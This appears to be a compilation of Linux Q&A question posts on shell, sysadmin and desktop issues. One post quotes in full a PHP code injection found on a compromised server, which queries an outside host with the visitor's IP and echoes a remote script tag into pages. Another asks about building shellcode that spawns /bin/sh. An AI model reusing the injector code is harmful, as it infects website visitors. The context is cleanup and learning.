title: How to fix 'set -o emacs' in .bashrc not working in ssh shell

text: I work in an LDAP-based user and host network. My user exists on all hosts since it an LDAP user, and my user's home directory exists on all hosts as a mountpoint. I have `~/.bash_profile` set up to source `~/.bashrc` if it exists. Inside `~/.bashrc` my final line is `set -o emacs`. On local shells this correctly sets the emacs option to enable emacs-style line editing after login. But when I ssh to another host, despite my `~/.bashrc` loading everything else, the `set -o emacs` is either not applied or applied then overridden. Therefore at the moment I have to manually `set -o emacs` each time I ssh to another host. Is there a fix for this such that I can ssh to another host and have `set -o emacs` run automatically so immediately upon entering the interactive shell, emacs line-editing is enabled?


title: How do I use the SED command to remove injected code from multiple files?

text: One of the domains on my Centos 6.5 (64 bit) server has been compromised. Having run a detection script on the public_html folder I have identified all the files with this code injection. I understand the SED command will help me rid the files of the code but I've never used the command before. I need some advice on what syntax to use. Please see the code example below that I want to remove (same code in every infected file):                   <?php         #7968e7#         if (empty($ywf)) {     error_reporting(0);     @ini_set('display_errors', 0);     if (!function_exists('__url_get_contents')) {         function __url_get_contents($remote_url, $timeout)         {             if (function_exists('curl_exec')) {                 $ch = curl_init();                 curl_setopt($ch, CURLOPT_URL, $remote_url);                 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);                 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);                 curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds                 $_url_get_contents_data = curl_exec($ch);                 curl_close($ch);             } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {                 $ctx = @stream_context_create(array('http' =>                     array(                         'timeout' => $timeout,                     )                 ));                 $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);             } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {                 $handle = @fopen($remote_url, "r");                 $_url_get_contents_data = @stream_get_contents($handle);             } else {                 $_url_get_contents_data = __file_get_url_contents($remote_url);             }             return $_url_get_contents_data;         }     }     if (!function_exists('__file_get_url_contents')) {         function __file_get_url_contents($remote_url)         {             if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',                 $remote_url, $matches)             ) {                 $protocol = strtolower($matches[1]);                 $host = $matches[2];                 $path = $matches[3];             } else {                 // Bad remote_url-format                 return FALSE;             }             if ($protocol == "http") {                 $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);             } else {                 // Bad protocol                 return FALSE;             }             if (!$socket) {                 // Error creating socket                 return FALSE;             }             $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";             $len_written = @fwrite($socket, $request);             if ($len_written === FALSE || $len_written != strlen($request)) {                 // Error sending request                 return FALSE;             }             $response = "";             while (!@feof($socket) &&                 ($buf = @fread($socket, 4096)) !== FALSE) {                 $response .= $buf;             }             if ($buf === FALSE) {                 // Error reading response                 return FALSE;             }             $end_of_header = strpos($response, "\r\n\r\n");             return substr($response, $end_of_header + 4);         }     }          if (empty($__var_to_echo) && empty($remote_domain)) {         $_ip = $_SERVER['REMOTE_ADDR'];         $ywf = "http://www.sentinelproducts.com/message/FVkWXrCj.php";         $ywf = __url_get_contents($ywf."?a=$_ip", 1);         if (strpos($ywf, 'http://') === 0) {             $__var_to_echo = '<script type="text/javascript" src="' . $ywf . '?id=108212681"></script>';             echo $__var_to_echo;         }     }         }         #/7968e7#         ?>         <?php              ?>      It is quite a large block of code so I'm wondering how I can go about removing it from the many infected files. There are javascript files infected with code as well but if I can get a grasp of how to rid the .php files of the code above then I can modify the command to clean the javascript files.


title: Pbrun not allowing to execute commands

text: why do i get this when i execute pbrun.               $ pbrun ls     You are NOT allowed to use pbrun -h <remotehost> ls.     Please try again without -h option.          Host: xxxx     Submithost: xxxx.abcd.xyz.com               pbrun7.5.0-12[404]: Request rejected by pbmasterd on server1234.abcd.yyyy.com.      Actually i am trying to execute printer related commands like lpshut,lpadmin etc with pbrun but it throws the excat error as above.


title: How to see all commands executed by the current user, in all sessions/screen/byobu terminals?

text: If there is debian box, some users have access to the root account, some of those users open an ssh connection and start executing commands, some open screen or byobu or other similar tools to execute commands. The command "history" doesn't appear to get full list of executed commands. What is the best way to get all executed commands ?


title: Is it possible to send a keyboard event to a background script that's expecting user interaction? (Using 'read')

text: Ex:               $read &     [1] 15139          [1]+  Stopped         $jobs -l     [1]+ 15139 Stopped (tty input) read


title: How not to write kernel warnings into /var/log/messages?

text: I keep getting these log warnings due to a bug in `kvm`.               Jun 30 19:12:31 server kernel: kvm: 28882: cpu0 ignored rdmsr: 0x345     Jun 30 21:12:31 server kernel: kvm: 31191: cpu0 ignored rdmsr: 0x345     Jun 30 23:12:31 server kernel: kvm: 1107: cpu0 ignored rdmsr: 0x345     Jul  1 01:12:31 server kernel: kvm: 3583: cpu0 ignored rdmsr: 0x345     Jul  1 03:12:31 server kernel: kvm: 5940: cpu0 ignored rdmsr: 0x345     Jul  1 05:12:31 server kernel: kvm: 8409: cpu0 ignored rdmsr: 0x345     Jul  1 07:12:31 server kernel: kvm: 10682: cpu0 ignored rdmsr: 0x345      I tried changing values in printk file from `default` to `3 3 1 3` so that only critical logs are written in `/var/log/messages`. But these warnings won't go away. Any idea to get rid of these warnings?


title: Why don't Gnome or KDE produce their own distribution (or other desktop projects for that matter)?

text: When I think of the recent debacle where Canonical and Gnome disagreed and each went their own way in terms of producing a new desktop, I wonder: Why doesn't a desktop project like Gnome produce its own distro, rather than wait for other distros to punt or ship its product (if you can call it that)?


title: Call vared and complete files from a different directory

text: I have the following zsh function which lets me edit symbolic links using the `vared` ZLE builtin.               function lned {       emulate zsh       setopt err_return extended_glob local_options local_traps       local -a data       link_path=${1%%/##}       zstat -A data -L +link $link_path       target=$data[1]       if [[ -z $target ]]; then         print -rl 1>&2 "$link_path: not a symbolic link"         return 2       fi       vared -p "${(q)1} -> " target       if [[ -n $target && "$target" != "$data[1]" ]]; then         # We can't use 'ln -sf' if $link_path is a symlink to a directory, so remove         # it manually first.         # Check that this is still a symlink, in case the file was changed while we         # were editing (this leaves only a very small time interval where we might         # remove a non-symlink).         rm -- $link_path(@)         ln -s -- $target $link_path       fi     }      This is nice, but when I'm editing a relative symbolic link in a directory other than the current one, the file name completions are relative to the wrong directory. I want to fix that. I could run `pushd -- $link_path:h/` before calling `vared` and `popd` afterwards. However, this would not restore the current directory if the user interrupted the shell by pressing `Ctrl`+`C` at the wrong moment. This can be solved by setting traps exactly right, and maybe using `cd` rather than `pushd`, which is probably useful also to avoid having to detect whether the link is in the current directory (in which case `pushd` wouldn't push anything). I'd like to minimize the disruption caused by the directory change, which means also locally turning off `chpwd`, restoring `OLDPWD`, and perhaps more which I'm not thinking of. Also, if I have no permission to `cd` back into the current directory, I'd be in a lurch — this is a very rare case but I'd prefer to support it. It would be simpler if I could just set things up so that **files are completed relative to a different directory during the`vared` call**. How can I do that? If this is impossible, what's the best way to minimize the impact of a temporary directory change?


title: Debian Wheezy Losing video link on boot

text: I bought a small Intel Atom machine (Intel atom D525) and I've installed Debian Wheezy on it. After I install (successfully) the OS (via USB) the machine boots and after a couple of seconds I lose video link. Here is what happens: https://www.youtube.com/watch?v=SbSvykUXIRk **What I already tried:**   * Using different system architecture (since d525 supports 32 bit aswell as 64 bit OS) : i386 , amd64    * Using different installation supports: hd-media , dvd-1 cd-1   * Modifying the grub parameters adding one of the following _(as shown here)_ : `nomodeset acpi=off GRUB_GFXMODE=vga=vesa GRUB_GFXMODE=1024x768` Here is how I set the various parameters: https://www.dropbox.com/s/1v0muauk4resp05/2014-03-20%2019.36.26.jpg   https://www.dropbox.com/s/v5frd85u8c9kk77/2014-03-20%2019.35.02.jpg Using live rescue mode:   * `/etc/fstab`: https://www.dropbox.com/s/gh6kt1zakpyrhk1/2014-03-20%2019.49.34.jpg   * `lspci`: https://www.dropbox.com/s/fvljb2l0wpmyg6o/2014-03-20%2019.50.09.jpg I don't have X11 as I have not installed GUI. Weird thing is that Debian 6 works just fine! What may be the issue?


title: Root access denied in LiveUSB of Portues

text: I am on Live Linux USB of Porteus linux and I copied it to RAM. I want to access root folder for making changes so that settings gets saved. but this is showing up![Root Access denied](http://i.stack.imgur.com/toPp4.png)


title: What defines the maximum size for a command single argument?

text: I was under the impression that the maximum length of a single argument was not the problem here so much as the total size of the overall argument array plus the size of the environment, which is limited to `ARG_MAX`. Thus I thought that something like the following would succeed:               env_size=$(cat /proc/$$/environ | wc -c)     (( arg_size = $(getconf ARG_MAX) - $env_size - 100 ))     /bin/echo $(tr -dc [:alnum:] </dev/urandom | head -c $arg_size) >/dev/null      With the `\- 100` being more than enough to account for the difference between the size of the environment in the shell and the `echo` process. Instead I got the error:               bash: /bin/echo: Argument list too long      After playing around for a while, I found that the maximum was a full hex order of magnitude smaller:               /bin/echo \       $(tr -dc [:alnum:] </dev/urandom | head -c $(($(getconf ARG_MAX)/16-1))) \       >/dev/null      When the minus one is removed, the error returns. Seemingly the maximum for a single argument is actually `ARG_MAX/16` and the `-1` accounts for the null byte placed at the end of the string in the argument array. Another issue is that when the argument is repeated, the total size of the argument array can be closer to `ARG_MAX`, but still not quite there:               args=( $(tr -dc [:alnum:] </dev/urandom | head -c $(($(getconf ARG_MAX)/16-1))) )     for x in {1..14}; do       args+=( ${args[0]} )     done          /bin/echo "${args[@]}" "${args[0]:6534}" >/dev/null      Using `"${args[0]:6533}"` here makes the last argument 1 byte longer and gives the `Argument list too long` error. This difference is unlikely to be accounted for by the size of the environment given:               $ cat /proc/$$/environ | wc -c     1045      ### Questions:   1. Is this correct behaviour, or is there a bug somewhere?   2. If not, is this behaviour documented anywhere? Is there another parameter which defines the maximum for a single argument?   3. Is this behaviour limited to Linux (or even particular versions of such)?   4. What accounts for the additional ~5KB discrepancy between the actual maximum size of the argument array plus the approximate size of the environment and `ARG_MAX`? ### Additional info:               uname -a     Linux graeme-rock 3.13-1-amd64 #1 SMP Debian 3.13.5-1 (2014-03-04) x86_64 GNU/Linux


title: How to fix GNOME Terminal cursor in awesome?

text: I'm using awesome 3.4.11 on Ubuntu 12.04, and my default terminal is GNOME Terminal 3.4.1.1. After starting several terminals, it seems the cursor behavior gets disconnected from window focus in some of them:   * Doesn't blink when the window has focus   * Blinks even when the window doesn't have focus It doesn't seem to be reproducible. I currently have four terminals open on one screen. Two of them work as expected (cursor starts blinking when the window receives focus, reverts to a static rectangle when changing focus), while two of them have constantly blinking cursors. All terminals work fine with regards to keyboard input when focused. `reset` doesn't help.


title: How can I ensure that a custom environment variable is set before cron runs a task?

text: I recently experienced a logwatch issue that is fixed by running `export DATE_MANIP=DM5`. cron seems to forget this when I logout (presumably because it's not saved). Where can I add this custom environment variable? Since I don't manage the code for logwatch, I don't want to necessarily add an `export` command inside the script that launches. I tried adding `export DATE_MANIP=DM5` to `/root/.bash_profile` but that doesn't help when I'm not logged in. CentOS 6.x


title: How to turn off xscreensaver automatically while watching Flash video?

text: Can I configure Flash to automatically disable xscreensaver while it's playing video? Or, conversely, configure xscreensaver not to trigger while Flash is playing video? I've seen this question on disabling the screensaver manually.


title: files in /proc/$PID (e.g. ssh-agent, Chrome) are not owned by user but by root

text: I am just answering another question here :-) and thus had a look – **wanted** to have a look at `/proc/$PID/fd` of `ssh-agent` in order to find out which socket it uses. But I can't. I am quite surprised to notice that most files and directories belong to root. `ssh-agent` runs as my user (so does its parent process) and is not installed SUID root. I wasn't able to find out where exactly KDE starts it. I am curious; can someone tell my what's happening here? Or is this not about the user at all, can processes use some kernel magic in order to hide (most of) their `/proc` info from the public (and even other processes of the same user)? I just checked the `/proc/$PID/fd` of all my processes and noticed that `ssh- agent` is not the only process with this strange attribute. The others are the bunch of Chrome processes and `kdesud` (no SUID root binary either).


title: Upgrading Ubuntu Based distro without losing everything

text: I use Zorin OS 8. I have previously used Ubuntu and Know that to upgrade Ubuntu versions you can use the "sudo apt-get dist-upgrade" command. I was wondering if that same command would work the same on Ubuntu based distros as it would on generic Ubuntu? Would I need to download a clean install of the next Zorin OS to have the latest and greatest? Thanks.


title: Is there a way in bash to redirect output and still have it go to stdout?

text: Okay. If I wanted to redirect the output of a program to a file, I'd do something like this               prog > file      If I wanted to redirect both stdout and stderr to that file, then I'd do               prog > file 2>&1      This is all well and good if you want the output to go to the file. But what if you want the output to go to the file and yet still go to stdout/stderr? So, the output is saved in the file, but you can still see it on the console as the program is running. Is there a way to do that? And if so, how?


title: Splitting stdin to different outputs in bash

text: > **Possible Duplicate:**   >  Is there a way in bash to redirect output and still have it go to stdout? How would I send `/dev/stdin` to both `/dev/stdout` and a `$logfile` in one command? One solution would be just to do it once for both:                cat /dev/stdin > $tempfile;      cat $tempfile > /dev/stdout;      cat $tempfile > $logfile;      But that seems bad. Is there a better way?


title: Sudoers for one day per week?

text: I have been volunteered by my boss to be the sysadmin for our production redhat server. He asked me to tighten the security to avoid mishaps like `rm -f *` that occured not long ago. Right now, we have 53 users sudo-ing into the machine and it is an audit nightmare. I am wondering if it possible to allow user access only on specific days of the week. For example, can I have user 'Joe' allowed to login on Tuesdays and Thursdays ONLY and 'Jane' only on Sundays? Can `etc/sudoers` be customized to allow this? Is there a better way instead of using sudoers?


title: How to easily and securely share files on a linux system over the internet?

text: I can think of a couple of ways which are not that easy:   1. ftp - user needs ftp (or even ftps) client, active vs. passive, firewalls   2. https - only for download   3. webDAV - setup of apache is rather extensive    4. scp and normal user accounts - hard to secure the system from then local users I guess I am searching for a simple webDAV server that is easy to setup and already contains sane defaults (and https support). Should allow for upload-only directories (-wx permissions).


title: How can I instruct yum to install a specifc version of package X?

text: If there are 2 versions of a given RPM available in a YUM repository, how can I instruct `yum` to install the version I want? Looking through the Koji build service I notice that there are several versions.     ![ss #1](http://i.stack.imgur.com/ohSCD.png)


title: GDM will not start on boot, unable to login into graphical interface

text: I am running RHEL 5.8 . SELinux is enabled but in permissive mode. Here are some snippets from /var/log/messages on boot.               kernel: type=1400 audit(1360613500.551:6): avc:  denied  { write } for  pid=3519 comm="rhgb" name="fontconfig" dev=dm-2 ino=13991937 scontext=system_u:system_r:rhgb_t:s0 tcontext=system_u:object_r:var_t:s0 tclass=dir     kernel: type=1400 audit(1360613500.552:7): avc:  denied  { add_name } for  pid=3519 comm="rhgb" name="beeeeb3dfe132a8a0633a017c99ce0c0-x86-64.cache-2.TMP-U6wBKS" scontext=system_u:system_r:rhgb_t:s0 tcontext=system_u:object_r:var_t:s0 tclass=dir     kernel: type=1400 audit(1360613500.552:8): avc:  denied  { create } for  pid=3519 comm="rhgb" name="beeeeb3dfe132a8a0633a017c99ce0c0-x86-64.cache-2.TMP-U6wBKS" scontext=system_u:system_r:rhgb_t:s0 tcontext=system_u:object_r:var_t:s0 tclass=file     kernel: type=1400 audit(1360613500.556:9): avc:  denied  { write } for  pid=3519 comm="rhgb" path="/var/cache/fontconfig/beeeeb3dfe132a8a0633a017c99ce0c0-x86-64.cache-2.TMP-U6wBKS" dev=dm-2 ino=13991947 scontext=system_u:system_r:rhgb_t:s0 tcontext=system_u:object_r:var_t:s0 tclass=file     kernel: type=1400 audit(1360613500.560:10): avc:  denied  { link } for  pid=3519 comm="rhgb" name="beeeeb3dfe132a8a0633a017c99ce0c0-x86-64.cache-2.TMP-U6wBKS" dev=dm-2 ino=13991947 scontext=system_u:system_r:rhgb_t:s0 tcontext=system_u:object_r:var_t:s0 tclass=file     kernel: type=1400 audit(1360613500.560:11): avc:  denied  { remove_name } for  pid=3519 comm="rhgb" name="beeeeb3dfe132a8a0633a017c99ce0c0-x86-64.cache-2.TMP-U6wBKS" dev=dm-2 ino=13991947 scontext=system_u:system_r:rhgb_t:s0 tcontext=system_u:object_r:var_t:s0 tclass=dir     kernel: type=1400 audit(1360613500.560:12): avc:  denied  { unlink } for  pid=3519 comm="rhgb" name="beeeeb3dfe132a8a0633a017c99ce0c0-x86-64.cache-2.TMP-U6wBKS" dev=dm-2 ino=13991947 scontext=system_u:system_r:rhgb_t:s0 tcontext=system_u:object_r:var_t:s0 tclass=file     kernel: type=1400 audit(1360613500.560:13): avc:  denied  { rename } for  pid=3519 comm="rhgb" name="beeeeb3dfe132a8a0633a017c99ce0c0-x86-64.cache-2.NEW" dev=dm-2 ino=13991949 scontext=system_u:system_r:rhgb_t:s0 tcontext=system_u:object_r:var_t:s0 tclass=file     kernel: type=1400 audit(1360613501.633:14): avc:  denied  { dac_override } for  pid=3569 comm="pam_console_app" capability=1 scontext=system_u:system_r:pam_console_t:s0 tcontext=system_u:system_r:pam_console_t:s0 tclass=capability     kernel: type=1400 audit(1360613503.649:17): avc:  denied  { dac_override } for  pid=3635 comm="microcode_ctl" capability=1 scontext=system_u:system_r:cpucontrol_t:s0 tcontext=system_u:system_r:cpucontrol_t:s0 tclass=capability     kernel: type=1400 audit(1360613521.042:24): avc:  denied  { dac_override } for  pid=4911 comm="auditd" capability=1 scontext=system_u:system_r:auditd_t:s0 tcontext=system_u:system_r:auditd_t:s0 tclass=capability     kernel: type=1400 audit(1360613521.065:25): avc:  denied  { dac_override } for  pid=4911 comm="auditd" capability=1 scontext=system_u:system_r:auditd_t:s0 tcontext=system_u:system_r:auditd_t:s0 tclass=capability     setroubleshoot: [server.ERROR] cannot start systen DBus service: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.     kernel: gdm-binary[5394]: segfault at 00000000000000d4 rip 0000000000413af2 rsp 00007fff51edc0d0 error 4     restorecond: Will not restore a file with more than one hard link (/etc/resolv.conf) Invalid argument      kernel: gdm-binary[5658]: segfault at 00000000000000d4 rip 0000000000413af2 rsp 00007fff5398b9b0 error 4     kernel: gdm-binary[5679]: segfault at 00000000000000d4 rip 0000000000413af2 rsp 00007fff4652f6f0 error 4     kernel: gdm-binary[5700]: segfault at 00000000000000d4 rip 0000000000413af2 rsp 00007fff945e9990 error 4     kernel: gdm-binary[5721]: segfault at 00000000000000d4 rip 0000000000413af2 rsp 00007fffa91ba550 error 4     kernel: gdm-binary[5743]: segfault at 00000000000000d4 rip 0000000000413af2 rsp 00007fffaf12f6e0 error 4     kernel: gdm-binary[5763]: segfault at 00000000000000d4 rip 0000000000413af2 rsp 00007fffb715e800 error 4     restorecond: Will not restore a file with more than one hard link (/etc/resolv.conf) No such file or directory      kernel: gdm-binary[5788]: segfault at 00000000000000d4 rip 0000000000413af2 rsp 00007fff46b61c10 error 4     kernel: gdm-binary[5809]: segfault at 00000000000000d4 rip 0000000000413af2 rsp 00007fffa5400820 error 4     restorecond: Will not restore a file with more than one hard link (/etc/resolv.conf) No such file or directory      kernel: gdm-binary[5833]: segfault at 00000000000000d4 rip 0000000000413af2 rsp 00007fff4188c080 error 4     kernel: gdm-binary[5855]: segfault at 00000000000000d4 rip 0000000000413af2 rsp 00007fff047fa3d0 error 4      I'm not sure if the GDM segfault below is related to the avc denial messages. Any suggestions of where else to look for details? Permissions on certain files/dirs might be incorrect?


title: Can not get a VNC Remote session to Gnome 3.6.2 with Fedora 18

text: I have installed Fedora 18 with Gnome desktop and installed tigervnc-server. This same setup has worked fine with several other computers with Fedora 17, allowing me to do remote connections with TightVNC Viewer from a Windows machine. However with Fedora 18 I get an "Oh no. Something has gone wrong" message in the VNC Client when I try to connect. If I force Gnome to fallback mode then the remote session works fine. Fedora 17 uses Gnome 3.4.2 and Fedora 18 uses Gnome 3.6.2 so that may have something to do with it. The remote session also works with KDE desktop but not LXDE or XFCE. I have not found any posts from others about this situation so I expect that I am missing something obvious. If someone has an idea or can point me to the posting regarding this that I missed it would be great.


title: install minimal desktop on CentOS 6.3

text: I just want to install a minimal GNOME desktop without all the Thunderbird/Firefox and any other packages that may come with full CentOS Live Cd. Is there something like `yum groupinstall base-desktop`? Ideally, I just want Xorg/GNOME and then add any other packages manually. No `gdm` also, I just want to run `startx`.


title: Linux kernel 3.2 syscalls

text: Just trying to get the assembler instructions for <__execve> of the code below because i want to build the shell spawn opcode list:               #include <stdio.h>     int main()     {          char *happy[2];          happy[0] = "/bin/sh";          happy[1] = NULL;          execve (happy[0], happy, NULL);     }      Objdump gives me this :               8053a20:    53                      push   %ebx     8053a21:    8b 54 24 10             mov    0x10(%esp),%edx     8053a25:    8b 4c 24 0c             mov    0xc(%esp),%ecx     8053a29:    8b 5c 24 08             mov    0x8(%esp),%ebx     8053a2d:    b8 0b 00 00 00          mov    $0xb,%eax     8053a32:    ff 15 a4 d5 0e 08       call   *0x80ed5a4     8053a38:    3d 00 f0 ff ff          cmp    $0xfffff000,%eax     8053a3d:    77 02                   ja     8053a41 <__execve+0x21>     8053a3f:    5b                      pop    %ebx     8053a40:    c3                      ret         8053a41:    c7 c2 e8 ff ff ff       mov    $0xffffffe8,%edx     8053a47:    f7 d8                   neg    %eax     8053a49:    65 8b 0d 00 00 00 00    mov    %gs:0x0,%ecx     8053a50:    89 04 11                mov    %eax,(%ecx,%edx,1)     8053a53:    83 c8 ff                or     $0xffffffff,%eax     8053a56:    5b                      pop    %ebx     8053a57:    c3                      ret         8053a58:    90                      nop     8053a59:    90                      nop     8053a5a:    90                      nop      From several texts I've read there was supposed to be a **int 0x80** somewhere in the above output. Why isn't there one? Are there any major changes in the 3.2 kernel concerning how syscalls work that might affect the algorithms of shellcode building (specific register loads, etc) which are presented in books written 3-4 years ago? The above dump looks very different from the output presented in the "Shellcoders Handbook" or "Smash the Stack" Thanks!


title: why does ls -d also list files, and where is it documented?

text: * when specifying `ls --directory a*` it should list only directories starting with `a*`   * BUT it lists files AND directories starting with `a` **Questions** :   * where might I find some documentation on this, other than `man` and `info` where I think I thoroughly looked?   * does this work in BASH only?


title: How to find what device a file is on (and use that in a script)?

text: I want to find out what device my file is on so that I can use it in a script. I can get this far:               $ df  .     Filesystem   512-blocks      Used Available Capacity  Mounted on     /dev/disk0s2  498438976 294369520 203557456    60%    /      but this output feels too clumsy; is there a better way than parsing this to get the first 'word' of the second line? What I really need is something like this so I can pipe it to the next command:               $ somecommand .     /dev/disk0s2      How can I achieve this, preferably without resorting to string hacking the 'df' output?


title: How might I detect memory errors if I do not have root or physical access to a Linux system?

text: The background to my question is as follows. I currently rent a virtual private server from a major hosting company, which I use to run a minecraft server. I have a suspicion that there may be bad ram on the host that I'm running from due to the fact that the game's map files keep corrupting. Given that the process I use to operate the server has the game's map files stored in ramdisk, this is why I suspect that there may be a memory error. So, my question is, if one does not have root on a system, and does not have physical access to the system, what indications or troubleshooting steps might I use to prove/disprove that the problem is bad ram on the host system?


title: Installing GCC in Solaris_x86

text: I have tried Googling for my answer, but everyone is saying GCC is already installed on the Solaris Operating System. They said to add `/usr/sfw/bin` to your `$PATH`, which I did, and rebooted the machine, but still nothing happened, when I tried compiling my software using GCC. But when I do the following find command as the root user:               find / -name gcc      I get no results returned. That to me indicates there is no GCC installed on this system. Where can I get it from and install it on the system? _**Note:** This is not on SPARC but on VMWare._


title: Application shortcuts

text: Where are the application shortcuts (Settings -> XFCE 4 Settings Manager -> Keyboard -> Application Shortcuts) saved?


title: Does `sl` ever show the current directory?

text: For those out of the loop, `sl` is a humourous command line tool that is meant to trip people up if they mistype `ls`. When invoked it prints a Steam Locomotive. For example:                                         (  ) (@@) ( )  (@)  ()    @@    O     @     O     @      O                          (@@@)                      (    )                   (@@@@)                      (   )              ====        ________                ___________          _D _|  |_______/        \__I_I_____===__|_________|           |(_)---  |   H\________/ |   |        =|___ ___|      _________________           /     |  |   H  |  |     |   |         ||_| |_||     _|                \_____A          |      |  |   H  |__--------------------| [___] |   =|                        |          | ________|___H__/__|_____/[][]~\_______|       |   -|                        |          |/ |   |-----------I_____I [][] []  D   |=======|____|________________________|_        __/ =| o |=-O=====O=====O=====O \ ____Y___________|__|__________________________|_         |/-=|___|=    ||    ||    ||    |_____/~\___/          |_D__D__D_|  |_D__D__D_|          \_/      \__/  \__/  \__/  \__/      \_/               \_/   \_/    \_/   \_/      However, in the man page for `sl`, it states the following bug:               BUGS             It rarely shows contents of current directory.      **So, the question remains, are there some conditions, under which`sl` actually _does_ show the current directory?**


title: Udev- How do I find out which subsystem a device belongs to?

text: For example, I have device /dev/sdb. How do I find out it's udev subsystem?


title: Shell Script Certification

text: I'm a UNIX shell script programmer, and I would like to know if there is any certification specific for Shell (bash, korn,etc) programmers. Also how about CX-310-105 exam to take Oracle Solaris Associate; does it have value on the market?


title: Is there an "open with" command for the command line?

text: Does the command line have a way to get a recommended list of programs used to open a particular file, based on the file type? For example, a `.pdf` file would have an `open with...` recommendation using the programs `Evince` and `Document Viewer`. I use the command line for most things, but sometimes I forget the name of a program that I want to use to open a particular type of file. BTW I am using Ubuntu 13.10 if that helps. **pro-tip** Thanks to @slm 's selected answer below, I made the following bash script in a file called `openwith.sh`:               xdg-mime query default $(xdg-mime query filetype $1)      Add as an alias or execute directly as an `openwith` command. Hope this helps!


> **Possible Duplicate:**   >  Why is there a * When There is Mention of Unix Throughout the Internet? Why Unix is sometimes referred as UN*X or *nix? Asterisk usually means that some letters are skipped but I can't form any words. And it seems to me that would better be *n*x and then you could make Linux at least.


title: Using curl to access basic auth protected website via proxy (polipo)

text:
I am trying to download a file protected via basic auth:               curl "http://User:Pass@example.com/blub/bla.bin"      This is working fine. As soon as I tell curl to use my locally installed polipo it fails:               $ http_proxy="http://127.0.0.1:8123" curl "http://XXXXX:Pass@example.com/blub/bla.bin"     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">          <title>Proxy error: 504 Host XXXXX lookup failed: Host not found.</title>
504 Host XXXXX lookup failed: Host not found

The following error occurred while trying to access http://XXXXX:Pass@example.com/blub/bla.bin:

     504 Host XXXXX lookup failed: Host not found

Generated Wed, 12 Mar 2014 22:46:10 CET by Polipo on hostname:8123.          $      Is this caused due to an error in Polipo or curl? (Or am I doing it wrong?) EDIT: `http_proxy="http://127.0.0.1:8123" curl -u XXXXX:Pass "http://example.com/blub/bla.bin"` is working fine. Thanks!


title: How can I detect what is making my linux freeze?

text: I've been running arch linux for quite a few months and it has been the best distribution i've used. However, sometimes, it just decides to freeze. I may be using the computer, the bottom bar shows the CPU load is at 0.30, perfectly normal, then all of sudden it starts going up, 1, 3, 5, 10 and goes beyond 20 if I let it. The whole system becomes unresponsive and I can't even kill X. I'm pretty sure it's my browser the one which is doing that, since when I realize the load is going up, I can kill it and everything goes back to normal. However this happens both with firefox and chromium, which leaves me thinking it might be a flash bug, however, everything is up to date and I don't see anyone else complaining about it. Is there some way I can profile it to make sure what is the process taking over the CPU?


title: samba does not work when offline

text: I have recently set up a virtual machine and I want to share files between the host and the guest. Samba seems to be a perfect solution, and indeed it does all that I expect it to. However, if the host machine is not connected to the internet, the Samba server appears offline too. Can somebody show me how to make it work? Note: `ps -ef | grep smb` shows that `smbd -F` is running, so I think the process is started properly. EDIT: I'm using VirtualBox for the virtualization. Below is my config in `/etc/samba/smb.conf` (I have never changed it, comments removed for simplicity). Sharing is enabled through the GUI in nautilus.               [global]     workgroup = WORKGROUP     server string = %h server (Samba, Ubuntu)     dns proxy = no     log file = /var/log/samba/log.%m     max log size = 1000     syslog = 0     panic action = /usr/share/samba/panic-action %d     encrypt passwords = true     passdb backend = tdbsam     obey pam restrictions = yes     unix password sync = yes     passwd program = /usr/bin/passwd %u     passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .     pam password change = yes     map to guest = bad user     usershare allow guests = yes


title: Debian jessie Logitech G35 microphone not working

text: I'm on Debian jessie with KDE. I have a Logitech G35 headset and even managed to enable surround sound. Now I noticed that the microphone isn't muted. I'm pretty sure that it is not muted and set as the default device. My KDE does use phonon, phonon uses the VLC backend and VLC should use pulseaudio. Does anyone know how i can get the microphone to work?


title: LiveCD "Remembers" Earlier Partitioning

text: Whenever I use VirtualBox to install a Linux distro, I usually install the LiveISO onto the hard drive instead of just using it as a live CD. However, sometimes the ISO doesn't install fully (usually user error), and the prompt comes up to install it to the hard drive again. In addition, `liveuser` is again the only user, even if I created one before. However, the original partitions are "remembered" somehow, but I can't figure out where they are or how to get to them. The output of `df -h` is:               Filesystem              Size   Used   Avail   Use%  Mounted on     /dev/mapper/live-rw     3.9G   3.0G    804M    80%  /     devtmpfs                985M      0    985M     0%  /dev     tmpfs                  1002M   136K   1002M     1%  /dev/shm     tmpfs                  1002M   700K   1002M     1%  /run     tmpfs                  1002M      0   1002M     0%  /sys/fs/cgroup     /dev/sr0                953M   953M       0   100%  /run/initramfs/live     tmpfs                  1002M   344K   1002M     1%  /tmp     varcacheyum            1002M      0   1002M     0%  /var/cache/yum     vartmp                 1002M      0   1002M     0%  /var/tmp     /dev/mapper/live-base   3.9G   3.0G    823M    79%  /mnt/install/source      How are these partitions "remembered", and how can I mount them again to get them all pretty & nice, if this is possible? If not, why not? **EDIT** Going by the answers so far, and doing `wipefs` and `cfdisk`, all but 2 of the "superblocks", as @mikeserv called them, have some kind of problem when I try to open them. One is the VBox Guest Additions I installed before, now under filesystem `/dev/sr0`, and the other is the `Fedora Live Desktop`. Neither filesystem has all the space I gave the partitions. I gave the partitions about 42-43GB, but the `VBox Guest Additions` has 999MB and the `Fedora Live Desktop` has 4GB. What's going on?


title: Is it possible to keep a vnc server alive after log out?

